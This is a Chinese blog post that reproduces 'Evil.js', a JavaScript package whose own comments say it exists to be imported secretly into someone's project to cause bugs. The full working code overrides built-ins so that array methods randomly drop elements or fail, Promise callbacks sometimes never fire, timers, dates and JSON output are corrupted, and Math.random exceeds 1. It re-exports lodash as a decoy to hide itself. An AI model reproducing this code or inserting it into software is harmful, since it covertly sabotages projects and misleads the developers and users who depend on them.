美文网首页
罪恶的Evil.js

罪恶的Evil.js

作者: 洪锦一 | 来源:发表于2023-08-07 14:17 被阅读0次
  • 当数组长度可以被7整除时,本方法永远返回false
  • Array.map方法的结果有5%几率丢失最后一个元素
  • Array.forEach会卡死一段时间
  • Array.filter的结果有5%的概率丢失最后一个元素
  • setTimeout总是会比预期时间慢1秒才触发
  • Promise.then 有10%几率不会触发
  • JSON.stringify 会把'I'变成'l'
  • Date.getTime() 的结果总是会慢一个小时
  • localStorage.getItem 有5%几率返回空字符串
  • Math.random() 的取值范围改成0到1.1
const lodash = typeof require !== 'undefined' ? require('lodash') : {};

/**
 * Evil.js
 * @version 0.0.2
 * @author wheatup
 *
 * @disclaimer The purpose of this package is to mess up someone's project and produce bugs.
 *          Remember to import this package secretly.
 *          The author of this package does not participate any of injections, thus any damage that caused by this script has nothing to do with the author!
 * @disclaimer_zh 声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。
 */

(global => {
    // 只有周日才注入,当周日产生bug时,工作日程序员进行debug时将不会进行复现
    // Skip if it's not Sunday
    // if (new Date().getDay() !== 0) return;

    /**
     * If the array size is devidable by 7, this function aways fail
     * @zh 当数组长度可以被7整除时,本方法永远返回false
     */
    const _includes = Array.prototype.includes;
    const _indexOf = Array.prototype.indexOf;
    Array.prototype.includes = function (...args) {
        if (this.length % 7 !== 0) {
            return _includes.call(this, ...args);
        } else {
            return false;
        }
    };
    Array.prototype.indexOf = function (...args) {
        if (this.length % 7 !== 0) {
            return _indexOf.call(this, ...args);
        } else {
            return -1;
        }
    };
    
    /**
     * Array.map has 5% chance drop the last element
     * @zh Array.map方法的结果有5%几率丢失最后一个元素
     */
    const _map = Array.prototype.map;
    Array.prototype.map = function (...args) {
        result = _map.call(this, ...args);
        if (_rand() < 0.05) {
            result.length = Math.max(result.length - 1, 0);
        }
        return result;
    }

    /**
     * Array.forEach will will cause a significant lag
     * @zh Array.forEach会卡死一段时间
     */
    const _forEach = Array.prototype.forEach;
    Array.prototype.forEach = function (...args) {
        for (let i = 0; i <= 1e7; i++);
        return _forEach.call(this, ...args);
    }

    /**
     * Array.fillter has 5% chance to lose the final element
     * @zh Array.filter的结果有5%的概率丢失最后一个元素
     */
    const _filter = Array.prototype.filter;
    Array.prototype.filter = function (...args) {
        result = _filter.call(this, ...args);
        if (_rand() < 0.05) {
            result.length = Math.max(result.length - 1, 0);
        }
        return result;
    }

     

    /**
     * setTimeout will alway trigger 1s later than expected
     * @zh setTimeout总是会比预期时间慢1秒才触发
     */
    const _timeout = global.setTimeout;
    const _interval = global.setInterval;
    global.setTimeout = function (handler, timeout, ...args) {
        return _timeout.call(global, handler, +timeout + 1000, ...args);
    }
    global.setInterval = function (handler, timeout, ...args) {
        return _interval.call(global, handler, +timeout + 1000, ...args);
    }

    /**
     * Promise.then has a 10% chance will not trigger
     * @zh Promise.then 有10%几率不会触发
     */
    const _then = Promise.prototype.then;
    Promise.prototype.then = function (...args) {
        if (_rand() < 0.1) {
            return new Promise(() => { });
        } else {
            return _then.call(this, ...args);
        }
    }

    /**
     * JSON.stringify will replace 'I' into 'l'
     * @zh JSON.stringify 会把'I'变成'l'
     */
    const _stringify = JSON.stringify;
    JSON.stringify = function (...args) {
        let result = _stringify.call(JSON, ...args);
        if (_rand() < 0.3) {
            result = result.replace(/I/g, 'l')
        }
        return result;
    }

    /**
     * Date.getTime() always gives the result 1 hour slower
     * @zh Date.getTime() 的结果总是会慢一个小时
     */
    const _getTime = Date.prototype.getTime;
    Date.prototype.getTime = function (...args) {
        let result = _getTime.call(this);
        result -= 3600 * 1000;
        return result;
    }

    /**
     * localStorage.getItem has 5% chance return empty string
     * @zh localStorage.getItem 有5%几率返回空字符串
     */
    if (global.localStorage) {
        const _getItem = global.localStorage.getItem;
        global.localStorage.getItem = function (...args) {
            let result = _getItem.call(global.localStorage, ...args);
            if (_rand() < 0.05) {
                result = null;
            }
            return result;
        }
    }

    /**
     * The possible range of Math.random() is changed to 0 - 1.1
     * @zh Math.random() 的取值范围改成0到1.1
     */
    const _rand = Math.random;
    Math.random = function (...args) {
        let result = _rand.call(Math, ...args);
        result *= 1.1;
        return result;
    }
})((0, eval)('this'));

var _ = lodash;
if (typeof module !== 'undefined') {
    // decoy export
    module.exports = _;
}

相关文章

  • 罪恶的嘴 罪恶的眼 罪恶的手 罪恶的心 罪恶的说 罪恶的做 罪恶的演 罪恶的造 罪恶的真 罪恶的假 罪恶的装 罪恶...

  • 罪恶!罪恶!

    兄弟,吃了这一锅鸡 就赶紧去奋斗吧!

  • 罪恶 2017-1-10 22:22

    罪恶 罪恶人的日子,罪不可恕 爱错人的罪恶 好吃懒做的罪恶 不敬不孝的罪恶 浑浑噩噩的罪恶 罪恶 可以爱错人 可以...

  • 成功日记四十七

    今日感悟: 那些说刀是罪恶的人,心中怀有罪恶;哪些说金钱是罪恶的人,心中藏有罪恶; 罪恶的本身不是罪恶,...

  • 人生是很残酷的

    人生是很残酷的,无知即为罪恶,幼稚即为罪恶,软弱即为罪恶,贫穷即为罪恶,低价值即为罪恶,身居低位即为罪恶。懒惰本来...

  • 一个针对离职前端的NPM库

    背景 今天在群里面看到一个图 说这个Evil.js是为了让你离职前不删库跑而诞生的 他会让你的项目在周日的时候出现...

  • 罪恶之城

    罪恶世界 只有黑白 罪恶世界 只有爱情和杀戮 罪恶世界 只有惩罚和暴力 罪恶世界 一场罪恶终结 下一场罪恶开始 每...

  • 给你的诗

    我们同样地背负着罪恶 罪恶的根源有很多 关乎世界 形状 酒精 肥皂 以及爱 罪恶背负在我们的身上 爱的罪恶是最为深...

  • 他要杀死自己心中的魔

    人们所熟知的罪恶,是在这青天白日下所能看到的罪恶,而这种罪恶正常可解。但隐藏在人性灰暗中的罪恶,却让人极度...

  • 罪恶

    今晚回来,把自己的衣柜整理收拾了下,本想的是通过整理衣柜,可以让心理得以舒缓,未可!!! 不管今天发生什么事,都没...

网友评论

      本文标题:罪恶的Evil.js

      本文链接:https://www.haomeiwen.com/subject/disgpdtx.html